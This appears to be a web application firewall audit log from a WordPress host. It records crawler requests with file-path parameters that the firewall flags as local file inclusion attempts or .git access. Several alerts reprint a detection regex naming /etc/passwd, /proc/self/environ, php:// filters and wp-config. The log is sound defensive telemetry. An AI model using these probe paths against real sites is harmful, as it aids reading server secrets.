{"transaction":{"time":"13/Mar/2026:03:26:04.183900 +0100","transaction_id":"abN1u_lFIvnJgHRlHaWUmwAAARI","remote_address":"57.141.20.17","remote_port":51922,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/d/d464-unix-s HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"0709e373123cbe50ae4915b6f9cba60f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5734870"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0709e373123cbe50ae4915b6f9cba60f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/d/d464-unix-s||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":318,"p2":6654,"p3":0,"p4":0,"p5":328,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:29:04.779262 +0100","transaction_id":"abN2cMS9L92-qvnlzdzBnQAAAIM","remote_address":"57.141.20.40","remote_port":50932,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d9/7dd6b1211d4dc77f1c1b9116cdb4a07118ca63 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"a19e182f55a939e9345a51be13940193","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4915248"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"a19e182f55a939e9345a51be13940193","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d9/7dd6b1211d4dc77f1c1b9116cdb4a07118ca63||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":223,"p2":4976,"p3":0,"p4":0,"p5":378,"sr":145,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:31:07.974660 +0100","transaction_id":"abN260apybP6n-qLTwtlSQAAAYo","remote_address":"43.163.22.193","remote_port":60096,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /agricole/css/?family=Roboto%3A700%2C300 HTTP/1.1","headers":{"Host":"jmkconsulting-ci.com","X-Real-IP":"43.163.22.193","X-Forwarded-Proto":"https","X-Request-Id":"a5b0cbf65d71670cbc747b6073048fca","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36","Accept":"text/css,*/*;q=0.1","Accept-Language":"en-US,en;q=0.9","Referer":"https://jmkconsulting-ci.com/agricole/en/approche.php","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"723363","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a5b0cbf65d71670cbc747b6073048fca","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"error_messages":["[file \"mod_autoindex.c\"] [line 2326] [level 3] AH01276: Cannot serve directory /var/www/jmkconsulting-ci.com/htdocs/agricole/css/: No matching DirectoryIndex (index_expiration.html,index_maintenance.html,index_redirection.html,index.php,index.php5,index.php4,index.php3,index.shtml,index.html,index.htm,index.jsp,default.htm,Index.html,Index.htm,Index.php,Default.htm,INDEX.HTML,INDEX.HTM,INDEX.PHP,DEFAULT.HTM,index_parking.html,default_index.html,index_lws.html) found, and server-generated directory index forbidden by Options directive"],"stopwatch":{"p1":215,"p2":4654,"p3":0,"p4":0,"p5":306,"sr":151,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:33:25.519537 +0100","transaction_id":"abN3dMS9L92-qvnlzdzDjgAAAIk","remote_address":"57.141.20.43","remote_port":40026,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/45/3dba7846538165311a1ea5f94d3b504314f77d HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.43","X-Forwarded-Proto":"https","X-Request-Id":"b4e268aaa4f32a8e3df94d259c77c9c2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"229639"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b4e268aaa4f32a8e3df94d259c77c9c2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/45/3dba7846538165311a1ea5f94d3b504314f77d||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":336,"p2":6366,"p3":0,"p4":0,"p5":340,"sr":137,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:34:04.852989 +0100","transaction_id":"abN3nPlFIvnJgHRlHaWXMQAAAQc","remote_address":"114.119.150.95","remote_port":40688,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/37959751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"b75ae64f0f5bcc338e953bb317456b58","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4391030","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"b75ae64f0f5bcc338e953bb317456b58","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":279,"p2":5951,"p3":0,"p4":0,"p5":342,"sr":158,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:35:15.094438 +0100","transaction_id":"abN34kapybP6n-qLTwtoPQAAAYk","remote_address":"57.141.20.17","remote_port":54866,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/08/5effd9a32a82e5634cbcb3637a6611cb894d6c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"78329d8dcf468648e2094ab38a51c16a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"557425"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"78329d8dcf468648e2094ab38a51c16a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/08/5effd9a32a82e5634cbcb3637a6611cb894d6c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":198,"p2":3878,"p3":0,"p4":0,"p5":417,"sr":100,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:36:42.197723 +0100","transaction_id":"abN4OflFIvnJgHRlHaWYqQAAAQw","remote_address":"57.141.20.9","remote_port":39854,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/gl_ES/LC_PAPER HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"c774485c55778d7c2b92c7b351c8d95a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6389956"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c774485c55778d7c2b92c7b351c8d95a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/gl_ES/LC_PAPER||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":207,"p2":5385,"p3":0,"p4":0,"p5":513,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:37:11.004114 +0100","transaction_id":"abN4VvlFIvnJgHRlHaWY5AAAAQs","remote_address":"57.141.20.40","remote_port":60890,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/ar_YE/LC_COLLATE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"214e89ca24c9745be7c556b15c1efea8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2524185"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"214e89ca24c9745be7c556b15c1efea8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/ar_YE/LC_COLLATE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":267,"p2":4473,"p3":0,"p4":0,"p5":332,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:39:13.859174 +0100","transaction_id":"abN40UapybP6n-qLTwtp5AAAAYk","remote_address":"57.141.20.54","remote_port":44506,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/var/lib/mibs/ietf/IBM-6611-APPN-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.54","X-Forwarded-Proto":"https","X-Request-Id":"528d744816c1bef036089f48c2cedf1d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1933942"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"528d744816c1bef036089f48c2cedf1d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/IBM-6611-APPN-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":239,"p2":4790,"p3":0,"p4":0,"p5":388,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:40:02.593209 +0100","transaction_id":"abN5AupA8xvhc8hKmeg7vQAAAU4","remote_address":"57.141.20.23","remote_port":48186,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/s/screen-bce.gnome HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"c0ca1d19f96a60b938e66c073e90041b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1934078"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c0ca1d19f96a60b938e66c073e90041b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/s/screen-bce.gnome||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":301,"p2":6313,"p3":0,"p4":0,"p5":358,"sr":126,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:40:47.397731 +0100","transaction_id":"abN5L4dmjjYI1SpvwBAdGwAAAAo","remote_address":"57.141.20.19","remote_port":37940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/68/69f2f77a7a5e413cd75ffd71268f3e1d367e81 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"0d79c42b4e7321c7a8253eea08c23c26","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4325838"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0d79c42b4e7321c7a8253eea08c23c26","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/68/69f2f77a7a5e413cd75ffd71268f3e1d367e81||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":275,"p2":5375,"p3":0,"p4":0,"p5":255,"sr":152,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:41:07.687714 +0100","transaction_id":"abN5Q0apybP6n-qLTwtrBgAAAY4","remote_address":"57.141.20.33","remote_port":55274,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/2b/46c7888013b0b984ca8c4fdb5994943ed15bce HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"97803da6c2b49028db2d79140201e6b2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3900155"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"97803da6c2b49028db2d79140201e6b2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/2b/46c7888013b0b984ca8c4fdb5994943ed15bce||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":4173,"p3":0,"p4":0,"p5":334,"sr":121,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:41:32.765009 +0100","transaction_id":"abN5XEapybP6n-qLTwtrNgAAAY4","remote_address":"57.141.20.56","remote_port":55274,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/10/6dfa0d1a4e9fef6b2a202be311341e4580a6d2 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"d1a23be9d814467f28cfdef018b7a792","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6455722"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d1a23be9d814467f28cfdef018b7a792","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/10/6dfa0d1a4e9fef6b2a202be311341e4580a6d2||\"] [severity \"NOTICE\"] [tag 